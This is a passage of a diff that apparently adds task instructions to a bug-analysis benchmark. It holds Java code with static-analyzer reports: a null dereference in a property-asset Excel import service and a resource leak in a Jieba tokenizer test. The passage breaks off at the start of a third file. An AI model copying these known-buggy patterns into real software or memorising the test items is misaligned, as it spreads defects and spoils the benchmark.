+        getRooms(workbook, rooms, floors, owners);
+
+        //获取车位信息
+        getParkingSpaces(workbook, parkingSpaces, owners);
+
+        //数据校验
+        importExcelDataValidate(floors, owners, rooms, parkingSpaces);
+
+        // 保存数据
+        return dealExcelData(pd, floors, owners, rooms, parkingSpaces, result);
+    }
+
+    /**
+     * 处理ExcelData数据
+     *
+     * @param floors        楼栋单元信息
+     * @param owners        业主信息
+     * @param rooms         房屋信息
+     * @param parkingSpaces 车位信息
+     */
+    private ResponseEntity<String> dealExcelData(IPageData pd, List<ImportFloor> floors, List<ImportOwner> owners, List<ImportRoom> rooms, List<ImportParkingSpace> parkingSpaces, ComponentValidateResult result) {
+        ResponseEntity<String> responseEntity = null;
+        //保存单元信息 和 楼栋信息
+        responseEntity = savedFloorAndUnitInfo(pd, floors, result);
+
+        if (responseEntity == null || responseEntity.getStatusCode() != HttpStatus.OK) {
+            return responseEntity;
+        }
+
+        // 保存业主信息
+        responseEntity = savedOwnerInfo(pd, owners, result);
+        if (responseEntity == null || responseEntity.getStatusCode() != HttpStatus.OK) {
+            return responseEntity;
+        }
+
+        //保存房屋
+        responseEntity = savedRoomInfo(pd, rooms, result);
+        if (responseEntity == null || responseEntity.getStatusCode() != HttpStatus.OK) {
+            return responseEntity;
+        }
+
+        //保存车位
+        responseEntity = savedParkingSpaceInfo(pd, parkingSpaces, result);
+
+        if (responseEntity == null || responseEntity.getStatusCode() != HttpStatus.OK) {
+            return responseEntity;
+        }
+
+        return responseEntity;
+    }
+
+    /**
+     * 保存车位信息
+     *
+     * @param pd
+     * @param parkingSpaces
+     * @param result
+     * @return
+     */
+    private ResponseEntity<String> savedParkingSpaceInfo(IPageData pd, List<ImportParkingSpace> parkingSpaces, ComponentValidateResult result) {
+        String apiUrl = "";
+        JSONObject paramIn = null;
+        ResponseEntity<String> responseEntity = null;
+        ImportOwner owner = null;
+        for (ImportParkingSpace parkingSpace : parkingSpaces) {
+            JSONObject savedParkingSpaceInfo = getExistsParkSpace(pd, result, parkingSpace);
+            if (savedParkingSpaceInfo != null) {
+                continue;
+            }
+
+            paramIn = new JSONObject();
+
+            apiUrl = ServiceConstant.SERVICE_API_URL + "/api/parkingSpace.saveParkingSpace";
+
+            paramIn.put("communityId", result.getCommunityId());
+            paramIn.put("num", parkingSpace.getPsNum());
+            paramIn.put("area", parkingSpace.getArea());
+            paramIn.put("typeCd", parkingSpace.getTypeCd());
+
+            responseEntity = this.callCenterService(restTemplate, pd, paramIn.toJSONString(), apiUrl, HttpMethod.POST);
+            if (responseEntity.getStatusCode() != HttpStatus.OK) {
+                continue;
+            }
+
+            savedParkingSpaceInfo = getExistsParkSpace(pd, result, parkingSpace);
+            if (savedParkingSpaceInfo != null) {
+                continue;
+            }
+
+            //是否有业主信息
+            if (parkingSpace.getImportOwner() == null) {
+                continue;
+            }
+
+            paramIn.clear();
+
+            paramIn.put("communityId", result.getCommunityId());
+            paramIn.put("ownerId", parkingSpace.getImportOwner().getOwnerId());
+            paramIn.put("carNum", parkingSpace.getCarNum());
+            paramIn.put("carBrand", parkingSpace.getCarBrand());
+            paramIn.put("carType", parkingSpace.getCarType());
+            paramIn.put("carColor", parkingSpace.getCarColor());
+            paramIn.put("psId", savedParkingSpaceInfo.getString("psId"));
+            paramIn.put("storeId", result.getStoreId());
+            paramIn.put("sellOrHire", parkingSpace.getSellOrHire());
+
+            String feeTypeCd = "1001".equals(parkingSpace.getTypeCd())
+                    ? FeeTypeConstant.FEE_TYPE_SELL_UP_PARKING_SPACE : FeeTypeConstant.FEE_TYPE_SELL_DOWN_PARKING_SPACE;
+            apiUrl = ServiceConstant.SERVICE_API_URL + "/api/fee.queryFeeConfig?communityId=" + result.getCommunityId() + "&feeTypeCd=" + feeTypeCd;
+            responseEntity = this.callCenterService(restTemplate, pd, "", apiUrl, HttpMethod.GET);
+
+            if (responseEntity.getStatusCode() != HttpStatus.OK) {
+                continue;
+            }
+
+            JSONObject configInfo = JSONObject.parseObject(responseEntity.getBody());
+            if(!configInfo.containsKey("additionalAmount")){
+                continue;
+            }
+
+            paramIn.put("receivedAmount", configInfo.getString("additionalAmount"));
+
+            apiUrl = ServiceConstant.SERVICE_API_URL + "/api/parkingSpace.sellParkingSpace";
+            responseEntity = this.callCenterService(restTemplate, pd, paramIn.toJSONString(), apiUrl, HttpMethod.POST);
+        }
+
+        return responseEntity;
+    }
+
+
+    /**
+     * 保存房屋信息
+     *
+     * @param pd
+     * @param rooms
+     * @param result
+     * @return
+     */
+    private ResponseEntity<String> savedRoomInfo(IPageData pd, List<ImportRoom> rooms, ComponentValidateResult result) {
+        String apiUrl = "";
+        JSONObject paramIn = null;
+        ResponseEntity<String> responseEntity = null;
+        ImportOwner owner = null;
+        for (ImportRoom room : rooms) {
+            JSONObject savedRoomInfo = getExistsRoom(pd, result, room);
+            if (savedRoomInfo != null) {
+                continue;
+            }
+
+            paramIn = new JSONObject();
+
+
+            //保存 房屋
+
+            apiUrl = ServiceConstant.SERVICE_API_URL + "/api/room.saveRoom";
+
+            paramIn.put("communityId", result.getCommunityId());
+            paramIn.put("unitId", room.getFloor().getUnitId());
+            paramIn.put("roomNum", room.getRoomNum());
+            paramIn.put("layer", room.getLayer());
+            paramIn.put("section", room.getSection());
+            paramIn.put("apartment", "1");
+            paramIn.put("state", "1000");
+            paramIn.put("builtUpArea", room.getBuiltUpArea());
+            paramIn.put("unitPrice", "1000.00");
+
+            responseEntity = this.callCenterService(restTemplate, pd, paramIn.toJSONString(), apiUrl, HttpMethod.POST);
+            if (responseEntity.getStatusCode() != HttpStatus.OK) {
+                continue;
+            }
+
+            savedRoomInfo = getExistsRoom(pd, result, room);
+            if (savedRoomInfo == null) {
+                continue;
+            }
+
+            if (room.getImportOwner() == null) {
+                continue;
+            }
+            paramIn.clear();
+            apiUrl = ServiceConstant.SERVICE_API_URL + "/api/room.sellRoom";
+            paramIn.put("communityId", result.getCommunityId());
+            paramIn.put("ownerId", room.getImportOwner().getOwnerId());
+            paramIn.put("roomId", savedRoomInfo.getString("roomId"));
+            paramIn.put("state", "2002");
+            paramIn.put("storeId", result.getStoreId());
+            responseEntity = this.callCenterService(restTemplate, pd, paramIn.toJSONString(), apiUrl, HttpMethod.POST);
+
+        }
+
+        return responseEntity;
+    }
+
+    /**
+     * 查询存在的房屋信息
+     * room.queryRooms
+     *
+     * @param pd
+     * @param result
+     * @param parkingSpace
+     * @return
+     */
+    private JSONObject getExistsParkSpace(IPageData pd, ComponentValidateResult result, ImportParkingSpace parkingSpace) {
+        String apiUrl = "";
+        ResponseEntity<String> responseEntity = null;
+        apiUrl = ServiceConstant.SERVICE_API_URL + "/api/parkingSpace.queryParkingSpaces?page=1&row=1&communityId=" + result.getCommunityId()
+                + "&num=" + parkingSpace.getPsNum();
+        responseEntity = this.callCenterService(restTemplate, pd, "", apiUrl, HttpMethod.GET);
+
+        if (responseEntity.getStatusCode() != HttpStatus.OK) { //跳过 保存单元信息
+            return null;
+        }
+
+        JSONObject savedParkingSpaceInfoResults = JSONObject.parseObject(responseEntity.getBody());
+
+
+        if (!savedParkingSpaceInfoResults.containsKey("parkingSpaces") || savedParkingSpaceInfoResults.getJSONArray("parkingSpaces").size() != 1) {
+            return null;
+        }
+
+
+        JSONObject savedParkingSpaceInfo = savedParkingSpaceInfoResults.getJSONArray("parkingSpaces").getJSONObject(0);
+
+        return savedParkingSpaceInfo;
+    }
+
+
+    /**
+     * 查询存在的房屋信息
+     * room.queryRooms
+     *
+     * @param pd
+     * @param result
+     * @param room
+     * @return
+     */
+    private JSONObject getExistsRoom(IPageData pd, ComponentValidateResult result, ImportRoom room) {
+        String apiUrl = "";
+        ResponseEntity<String> responseEntity = null;
+        apiUrl = ServiceConstant.SERVICE_API_URL + "/api/room.queryRooms?communityId=" + result.getCommunityId()
+                + "&floorId=" + room.getFloor().getFloorId() + "&unitId=" + room.getFloor().getUnitId() + "&roomNum=" + room.getRoomNum();
+        responseEntity = this.callCenterService(restTemplate, pd, "", apiUrl, HttpMethod.GET);
+
+        if (responseEntity.getStatusCode() != HttpStatus.OK) { //跳过 保存单元信息
+            return null;
+        }
+
+        JSONObject savedRoomInfoResults = JSONObject.parseObject(responseEntity.getBody());
+
+
+        if (!savedRoomInfoResults.containsKey("rooms") || savedRoomInfoResults.getJSONArray("rooms").size() != 1) {
+            return null;
+        }
+
+
+        JSONObject savedRoomInfo = savedRoomInfoResults.getJSONArray("rooms").getJSONObject(0);
+
+        return savedRoomInfo;
+    }
+
+    /**
+     * 保存业主信息
+     *
+     * @param pd
+     * @param owners
+     * @param result
+     * @return
+     */
+    private ResponseEntity<String> savedOwnerInfo(IPageData pd, List<ImportOwner> owners, ComponentValidateResult result) {
+        String apiUrl = "";
+        JSONObject paramIn = null;
+        ResponseEntity<String> responseEntity = null;
+
+        for (ImportOwner owner : owners) {
+            JSONObject savedOwnerInfo = getExistsOwner(pd, result, owner);
+
+            if (savedOwnerInfo != null) {
+                continue;
+            }
+            paramIn = new JSONObject();
+
+            apiUrl = ServiceConstant.SERVICE_API_URL + "/api/owner.saveOwner";
+
+            paramIn.put("communityId", result.getCommunityId());
+            paramIn.put("userId", result.getUserId());
+            paramIn.put("name", owner.getOwnerName());
+            paramIn.put("age", owner.getAge());
+            paramIn.put("link", owner.getTel());
+            paramIn.put("sex", owner.getSex());
+            paramIn.put("ownerTypeCd", "1001");
+            responseEntity = this.callCenterService(restTemplate, pd, paramIn.toJSONString(), apiUrl, HttpMethod.POST);
+            if (responseEntity.getStatusCode() != HttpStatus.OK) {
+                savedOwnerInfo = getExistsOwner(pd, result, owner);
+                owner.setOwnerId(savedOwnerInfo.getString("ownerId"));
+            }
+        }
+
+        return responseEntity;
+    }
+
+    /**
+     * 保存 楼栋和 单元信息
+     *
+     * @param pd
+     * @param floors
+     * @param result
+     * @return
+     */
+    private ResponseEntity<String> savedFloorAndUnitInfo(IPageData pd, List<ImportFloor> floors, ComponentValidateResult result) {
+        String apiUrl = "";
+        JSONObject paramIn = null;
+        ResponseEntity<String> responseEntity = null;
+        for (ImportFloor importFloor : floors) {
+            paramIn = new JSONObject();
+            //先保存 楼栋信息
+            JSONObject savedFloorInfo = getExistsFloor(pd, result, importFloor);
+            // 如果不存在，才插入
+            if (savedFloorInfo == null) {
+                apiUrl = ServiceConstant.SERVICE_API_URL + "/api/floor.saveFloor";
+                paramIn.put("communityId", result.getCommunityId());
+                paramIn.put("floorNum", importFloor.getFloorNum());
+                paramIn.put("userId", result.getUserId());
+                paramIn.put("name", importFloor.getFloorNum() + "号楼");
+                responseEntity = this.callCenterService(restTemplate, pd, paramIn.toJSONString(), apiUrl, HttpMethod.POST);
+            }
+            if (responseEntity.getStatusCode() != HttpStatus.OK) { //跳过 保存单元信息
+                continue;
+            }
+
+            savedFloorInfo = getExistsFloor(pd, result, importFloor);
+
+            if (savedFloorInfo == null) {
+                continue;
+            }
+            importFloor.setFloorId(savedFloorInfo.getString("floorId"));
+            paramIn.clear();
+            //判断单元信息是否已经存在，如果存在则不保存数据unit.queryUnits
+            if (getExistsUnit(pd, result, importFloor) != null) {
+                continue;
+            }
+
+            apiUrl = ServiceConstant.SERVICE_API_URL + "/api/unit.saveUnit";
+
+            paramIn.put("communityId", result.getCommunityId());
+            paramIn.put("floorId", savedFloorInfo.getString("floorId"));
+            paramIn.put("unitNum", importFloor.getUnitNum());
+            paramIn.put("layerCount", importFloor.getLayerCount());
+            paramIn.put("lift", importFloor.getLift());
+            responseEntity = this.callCenterService(restTemplate, pd, paramIn.toJSONString(), apiUrl, HttpMethod.POST);
+
+            //将unitId 刷入ImportFloor对象
+            JSONObject savedUnitInfo = getExistsUnit(pd, result, importFloor);
+            importFloor.setUnitId(savedUnitInfo.getString("unitId"));
+
+        }
+        return responseEntity;
+    }
+
+    private JSONObject getExistsUnit(IPageData pd, ComponentValidateResult result, ImportFloor importFloor) {
+        String apiUrl = "";
+        ResponseEntity<String> responseEntity = null;
+        apiUrl = ServiceConstant.SERVICE_API_URL + "/api/unit.queryUnits?communityId=" + result.getCommunityId()
+                + "&floorId=" + importFloor.getFloorId() + "&unitNum=" + importFloor.getFloorNum();
+        responseEntity = this.callCenterService(restTemplate, pd, "", apiUrl, HttpMethod.GET);
+
+        if (responseEntity.getStatusCode() != HttpStatus.OK) { //跳过 保存单元信息
+            return null;
+        }
+
+        JSONArray savedFloorInfoResults = JSONArray.parseArray(responseEntity.getBody());
+
+        if (savedFloorInfoResults == null || savedFloorInfoResults.size() != 1) {
+            return null;
+        }
+
+        JSONObject savedUnitInfo = savedFloorInfoResults.getJSONObject(0);
+
+        return savedUnitInfo;
+    }
+
+    private JSONObject getExistsFloor(IPageData pd, ComponentValidateResult result, ImportFloor importFloor) {
+        String apiUrl = "";
+        ResponseEntity<String> responseEntity = null;
+        apiUrl = ServiceConstant.SERVICE_API_URL + "/api/floor.queryFloors?page=1&row=1&communityId=" + result.getCommunityId() + "&floorNum=" + importFloor.getFloorNum();
+        responseEntity = this.callCenterService(restTemplate, pd, "", apiUrl, HttpMethod.GET);
+
+        if (responseEntity.getStatusCode() != HttpStatus.OK) { //跳过 保存单元信息
+            return null;
+        }
+
+        JSONObject savedFloorInfoResult = JSONObject.parseObject(responseEntity.getBody());
+
+        if (!savedFloorInfoResult.containsKey("apiFloorDataVoList") || savedFloorInfoResult.getJSONArray("apiFloorDataVoList").size() != 1) {
+            return null;
+        }
+
+        JSONObject savedFloorInfo = savedFloorInfoResult.getJSONArray("apiFloorDataVoList").getJSONObject(0);
+
+        return savedFloorInfo;
+    }
+
+    /**
+     * 查询存在的业主
+     *
+     * @param pd
+     * @param result
+     * @param importOwner
+     * @return
+     */
+    private JSONObject getExistsOwner(IPageData pd, ComponentValidateResult result, ImportOwner importOwner) {
+        String apiUrl = "";
+        ResponseEntity<String> responseEntity = null;
+        apiUrl = ServiceConstant.SERVICE_API_URL + "/api/owner.queryOwners?page=1&row=1&communityId=" + result.getCommunityId()
+                + "&ownerTypeCd=1001&name=" + importOwner.getOwnerName() + "&link=" + importOwner.getTel();
+        responseEntity = this.callCenterService(restTemplate, pd, "", apiUrl, HttpMethod.GET);
+
+        if (responseEntity.getStatusCode() != HttpStatus.OK) { //跳过 保存单元信息
+            return null;
+        }
+
+        JSONObject savedOwnerInfoResult = JSONObject.parseObject(responseEntity.getBody());
+
+        if (!savedOwnerInfoResult.containsKey("owners") || savedOwnerInfoResult.getJSONArray("owners").size() != 1) {
+            return null;
+        }
+
+        JSONObject savedOwnerInfo = savedOwnerInfoResult.getJSONArray("owners").getJSONObject(0);
+
+        return savedOwnerInfo;
+    }
+
+    /**
+     * 数据校验处理
+     *
+     * @param floors
+     * @param owners
+     * @param rooms
+     * @param parkingSpaces
+     */
+    private void importExcelDataValidate(List<ImportFloor> floors, List<ImportOwner> owners, List<ImportRoom> rooms, List<ImportParkingSpace> parkingSpaces) {
+    }
+
+    /**
+     * 获取车位信息
+     *
+     * @param workbook
+     * @param parkingSpaces
+     */
+    private void getParkingSpaces(Workbook workbook, List<ImportParkingSpace> parkingSpaces, List<ImportOwner> owners) {
+        Sheet sheet = null;
+        sheet = ImportExcelUtils.getSheet(workbook, "车位信息");
+        List<Object[]> oList = ImportExcelUtils.listFromSheet(sheet);
+        ImportParkingSpace importParkingSpace = null;
+        for (int osIndex = 0; osIndex < oList.size(); osIndex++) {
+            Object[] os = oList.get(osIndex);
+            if (osIndex == 0) { // 第一行是 头部信息 直接跳过
+                continue;
+            }
+            if(StringUtil.isNullOrNone(os[0])){
+                continue;
+            }
+            importParkingSpace = new ImportParkingSpace();
+            importParkingSpace.setPsNum(os[0].toString());
+            importParkingSpace.setTypeCd(os[1].toString());
+            importParkingSpace.setArea(Double.parseDouble(os[2].toString()));
+            if(StringUtil.isNullOrNone(os[3])){
+                parkingSpaces.add(importParkingSpace);
+                continue;
+            }
+            ImportOwner importOwner = getImportOwner(owners, os[3].toString());
+            importParkingSpace.setImportOwner(importOwner);
+            if (importOwner != null) {
+                importParkingSpace.setCarNum(os[4].toString());
+                importParkingSpace.setCarBrand(os[5].toString());
+                importParkingSpace.setCarType(os[6].toString());
+                importParkingSpace.setCarColor(os[7].toString());
+                importParkingSpace.setSellOrHire(os[8].toString());
+            }
+
+            parkingSpaces.add(importParkingSpace);
+        }
+    }
+
+    /**
+     * 获取 房屋信息
+     *
+     * @param workbook
+     * @param rooms
+     */
+    private void getRooms(Workbook workbook, List<ImportRoom> rooms,
+                          List<ImportFloor> floors, List<ImportOwner> owners) {
+        Sheet sheet = null;
+        sheet = ImportExcelUtils.getSheet(workbook, "房屋信息");
+        List<Object[]> oList = ImportExcelUtils.listFromSheet(sheet);
+        ImportRoom importRoom = null;
+        for (int osIndex = 0; osIndex < oList.size(); osIndex++) {
+            Object[] os = oList.get(osIndex);
+            if (osIndex == 0) { // 第一行是 头部信息 直接跳过
+                continue;
+            }
+            if(StringUtil.isNullOrNone(os[0])){
+                continue;
+            }
+            importRoom = new ImportRoom();
+            importRoom.setRoomNum(os[0].toString());
+            importRoom.setFloor(getImportFloor(floors, os[1].toString(), os[2].toString()));
+            importRoom.setLayer(Integer.parseInt(os[3].toString()));
+            importRoom.setSection(os[4].toString());
+            importRoom.setBuiltUpArea(Double.parseDouble(os[5].toString()));
+            if(StringUtil.isNullOrNone(os[6])){
+                rooms.add(importRoom);
+                continue;
+            }
+            importRoom.setImportOwner(getImportOwner(owners, os[6].toString()));
+            rooms.add(importRoom);
+        }
+    }
+
+    /**
+     * 从导入的业主信息中获取业主，如果没有返回 null
+     *
+     * @param owners
+     * @param ownerNum
+     * @return
+     */
+    private ImportOwner getImportOwner(List<ImportOwner> owners, String ownerNum) {
+        for (ImportOwner importOwner : owners) {
+            if (ownerNum.equals(importOwner.getOwnerNum())) {
+                return importOwner;
+            }
+        }
+
+        return null;
+
+    }
+
+    /**
+     * get 导入楼栋信息
+     *
+     * @param floors
+     */
+    private ImportFloor getImportFloor(List<ImportFloor> floors, String floorNum, String unitNum) {
+        for (ImportFloor importFloor : floors) {
+            if (floorNum.equals(importFloor.getFloorNum())
+                    && unitNum.equals(importFloor.getUnitNum())) {
+                return importFloor;
+            }
+        }
+
+        throw new IllegalArgumentException("在楼栋单元sheet中未找到楼栋编号[" + floorNum + "],单元编号[" + unitNum + "]数据");
+    }
+
+    /**
+     * 获取业主信息
+     *
+     * @param workbook
+     * @param owners
+     */
+    private void getOwners(Workbook workbook, List<ImportOwner> owners) {
+        Sheet sheet = null;
+        sheet = ImportExcelUtils.getSheet(workbook, "业主信息");
+        List<Object[]> oList = ImportExcelUtils.listFromSheet(sheet);
+        ImportOwner importOwner = null;
+        for (int osIndex = 0; osIndex < oList.size(); osIndex++) {
+            Object[] os = oList.get(osIndex);
+            if (osIndex == 0) { // 第一行是 头部信息 直接跳过
+                continue;
+            }
+            if(StringUtil.isNullOrNone(os[0])){
+                continue;
+            }
+            importOwner = new ImportOwner();
+            importOwner.setOwnerNum(os[0].toString());
+            importOwner.setOwnerName(os[1].toString());
+            importOwner.setSex("男".equals(os[2].toString()) ? "0" : "1");
+            importOwner.setAge(Integer.parseInt(os[3].toString()));
+            importOwner.setTel(os[4].toString());
+            owners.add(importOwner);
+        }
+    }
+
+    /**
+     * 获取小区
+     *
+     * @param workbook
+     * @param floors
+     */
+    private void getFloors(Workbook workbook, List<ImportFloor> floors) {
+        Sheet sheet = null;
+        sheet = ImportExcelUtils.getSheet(workbook, "楼栋单元");
+        List<Object[]> oList = ImportExcelUtils.listFromSheet(sheet);
+        ImportFloor importFloor = null;
+        for (int osIndex = 0; osIndex < oList.size(); osIndex++) {
+            Object[] os = oList.get(osIndex);
+            if (osIndex == 0) { // 第一行是 头部信息 直接跳过
+                continue;
+            }
+
+            if(StringUtil.isNullOrNone(os[0])){
+                continue;
+            }
+            importFloor = new ImportFloor();
+            importFloor.setFloorNum(os[0].toString());
+            importFloor.setUnitNum(os[1].toString());
+            importFloor.setLayerCount(os[2].toString());
+            importFloor.setLift("有".equals(os[3].toString()) ? "Y" : "N");
+            floors.add(importFloor);
+        }
+    }
+
+    public RestTemplate getRestTemplate() {
+        return restTemplate;
+    }
+
+    public void setRestTemplate(RestTemplate restTemplate) {
+        this.restTemplate = restTemplate;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `responseEntity` last assigned on line 386 could be null and is dereferenced at line 400.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+ResponseEntity AssetImportSMOImpl.savedFloorAndUnitInfo(IPageData,List,ComponentValidateResult)
+
+### Procedure Id:
+com.java110.web.smo.assetImport.impl.AssetImportSMOImpl.savedFloorAndUnitInfo(com.java110.core.conte.507126b797119b77010319d29d685b1b
+
+### File:
+WebService/src/main/java/com/java110/web/smo/assetImport/impl/AssetImportSMOImpl.java
+
+### Key:
+AssetImportSMOImpl.java|savedFloorAndUnitInfo|NULL_DEREFERENCE
+
+### Node Key:
+30e2b2d21b4de97a6f7b11bf6e3a027a
+
+### Hash:
+4d409f60037f170ee9f2f78f77bf421f
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4959/instruction.md b/inferredbugs-4959/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..dbeaeeed45c1887d8663834441cea8a15f7f8035
--- /dev/null
+++ b/inferredbugs-4959/instruction.md
@@ -0,0 +1,225 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** elasticsearch-analysis-jieba
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.elasticsearch.index.analysis;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.StringReader;
+
+import org.apache.lucene.analysis.TokenStream;
+import org.apache.lucene.analysis.tokenattributes.CharTermAttribute;
+import org.apache.lucene.analysis.tokenattributes.OffsetAttribute;
+import org.junit.Test;
+
+public class JiebaAnalyzerTest {
+    String[] sentences = new String[] {
+            "这是一个伸手不见五指的黑夜。我叫孙悟空，我爱北京，我爱Python和C++。",
+            "我不喜欢日本和服。",
+            "雷猴回归人间。",
+            "工信处女干事每月经过下属科室都要亲口交代24口交换机等技术性器件的安装工作",
+            "我需要廉租房",
+            "永和服装饰品有限公司",
+            "我爱北京天安门",
+            "abc",
+            "隐马尔可夫",
+            "雷猴是个好网站",
+            "“,”和“SOFTware（软件）”两部分组成",
+            "草泥马和欺实马是今年的流行词汇",
+            "伊藤洋华堂总府店",
+            "中国科学院计算技术研究所",
+            "罗密欧与朱丽叶",
+            "我购买了道具和服装",
+            "PS: 我觉得开源有一个好处，就是能够敦促自己不断改进，避免敞帚自珍",
+            "湖北省石首市",
+            "湖北省十堰市",
+            "总经理完成了这件事情",
+            "电脑修好了",
+            "做好了这件事情就一了百了了",
+            "人们审美的观点是不同的",
+            "我们买了一个美的空调",
+            "线程初始化时我们要注意",
+            "一个分子是由好多原子组织成的",
+            "祝你马到功成",
+            "他掉进了无底洞里",
+            "中国的首都是北京",
+            "孙君意",
+            "外交部发言人马朝旭",
+            "领导人会议和第四届东亚峰会",
+            "在过去的这五年",
+            "还需要很长的路要走",
+            "60周年首都阅兵",
+            "你好人们审美的观点是不同的",
+            "买水果然后来世博园",
+            "买水果然后去世博园",
+            "但是后来我才知道你是对的",
+            "存在即合理",
+            "的的的的的在的的的的就以和和和",
+            "I love你，不以为耻，反以为rong",
+            "因",
+            "",
+            "hello你好人们审美的观点是不同的",
+            "很好但主要是基于网页形式",
+            "hello你好人们审美的观点是不同的",
+            "为什么我不能拥有想要的生活",
+            "后来我才",
+            "此次来中国是为了",
+            "使用了它就可以解决一些问题",
+            ",使用了它就可以解决一些问题",
+            "其实使用了它就可以解决一些问题",
+            "好人使用了它就可以解决一些问题",
+            "是因为和国家",
+            "老年搜索还支持",
+            "干脆就把那部蒙人的闲法给废了拉倒！RT @laoshipukong : 27日，全国人大常委会第三次审议侵权责任法草案，删除了有关医疗损害责任“举证倒置”的规定。在医患纠纷中本已处于弱势地位的消费者由此将陷入万劫不复的境地。 ",
+            "大", "", "他说的确实在理", "长春市长春节讲话", "结婚的和尚未结婚的", "结合成分子时", "旅游和服务是最好的",
+            "这件事情的确是我的错", "供大家参考指正", "哈尔滨政府公布塌桥原因", "我在机场入口处", "邢永臣摄影报道",
+            "BP神经网络如何训练才能在分类时增加区分度？", "南京市长江大桥",
+            "应一些使用者的建议，也为了便于利用NiuTrans用于SMT研究", "长春市长春药店", "邓颖超生前最喜欢的衣服",
+            "胡锦涛是热爱世界和平的政治局常委", "程序员祝海林和朱会震是在孙健的左面和右面, 范凯在最右面.再往左是李松洪",
+            "一次性交多少钱", "两块五一套，三块八一斤，四块七一本，五块六一条", "小和尚留了一个像大和尚一样的和尚头",
+            "我是中华人民共和国公民;我爸爸是共和党党员; 地铁和平门站", "张晓梅去人民医院做了个B超然后去买了件T恤",
+            "AT&T是一件不错的公司，给你发offer了吗？", "C++和c#是什么关系？11+122=133，是吗？PI=3.14159",
+            "你认识那个和主席握手的的哥吗？他开一辆黑色的士。", "枪杆子中出政权" };
+
+    @Test
+    public void test() throws IOException {
+        JiebaAnalyzer analyzer = new JiebaAnalyzer("index", new File("data"),
+                true);
+
+        for (String sentence : sentences) {
+            TokenStream tokenStream = analyzer.tokenStream(null,
+                    new StringReader(sentence));
+            tokenStream.reset();
+            while (tokenStream.incrementToken()) {
+                CharTermAttribute termAtt = tokenStream
+                        .getAttribute(CharTermAttribute.class);
+                OffsetAttribute offsetAtt = tokenStream
+                        .getAttribute(OffsetAttribute.class);
+                System.out
+                        .println(termAtt.toString() + ","
+                                + offsetAtt.startOffset() + ","
+                                + offsetAtt.endOffset());
+            }
+            tokenStream.reset();
+        }
+    }
+
+    @Test
+    public void testSegModeOther() throws IOException {
+        JiebaAnalyzer analyzer = new JiebaAnalyzer("other", new File("data"),
+                true);
+
+        for (String sentence : sentences) {
+            TokenStream tokenStream = analyzer.tokenStream(null,
+                    new StringReader(sentence));
+            tokenStream.reset();
+            while (tokenStream.incrementToken()) {
+                CharTermAttribute termAtt = tokenStream
+                        .getAttribute(CharTermAttribute.class);
+                OffsetAttribute offsetAtt = tokenStream
+                        .getAttribute(OffsetAttribute.class);
+                System.out
+                        .println(termAtt.toString() + ","
+                                + offsetAtt.startOffset() + ","
+                                + offsetAtt.endOffset());
+            }
+            tokenStream.reset();
+        }
+    }
+
+    @Test
+    public void testBugSentences() throws IOException {
+        String[] bugSentences = new String[] { "干脆就把那部蒙人的闲法给废了拉倒！RT @laoshipukong : 27日，全国人大常委会第三次审议侵权责任法草案，删除了有关医疗损害责任“举证倒置”的规定。在医患纠纷中本已处于弱势地位的消费者由此将陷入万劫不复的境地。 " };
+        JiebaAnalyzer analyzer = new JiebaAnalyzer("index", new File("data"),
+                true);
+
+        for (String sentence : bugSentences) {
+            TokenStream tokenStream = analyzer.tokenStream(null,
+                    new StringReader(sentence));
+            tokenStream.reset();
+            while (tokenStream.incrementToken()) {
+                CharTermAttribute termAtt = tokenStream
+                        .getAttribute(CharTermAttribute.class);
+                OffsetAttribute offsetAtt = tokenStream
+                        .getAttribute(OffsetAttribute.class);
+                System.out
+                        .println(termAtt.toString() + ","
+                                + offsetAtt.startOffset() + ","
+                                + offsetAtt.endOffset());
+            }
+            tokenStream.reset();
+        }
+
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.elasticsearch.index.analysis.JiebaAnalyzer` acquired by call to `JiebaAnalyzer(...)` at line 83 is not released after line 102.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void JiebaAnalyzerTest.test()
+
+### Procedure Id:
+org.elasticsearch.index.analysis.JiebaAnalyzerTest.test():void.484fbbebee9e14106b1052cd880c16be
+
+### File:
+src/test/java/org/elasticsearch/index/analysis/JiebaAnalyzerTest.java
+
+### Key:
+JiebaAnalyzerTest.java|test|RESOURCE_LEAK
+
+### Node Key:
+d17ff65b15f71d7c122f3ef3fc1e6e62
+
+### Hash:
+f170cf3ff76b10d12cb3c47c6a515e0a
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4961/instruction.md b/inferredbugs-4961/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ac51f2d2f111610d3109ed155ab60ec693919a71
--- /dev/null
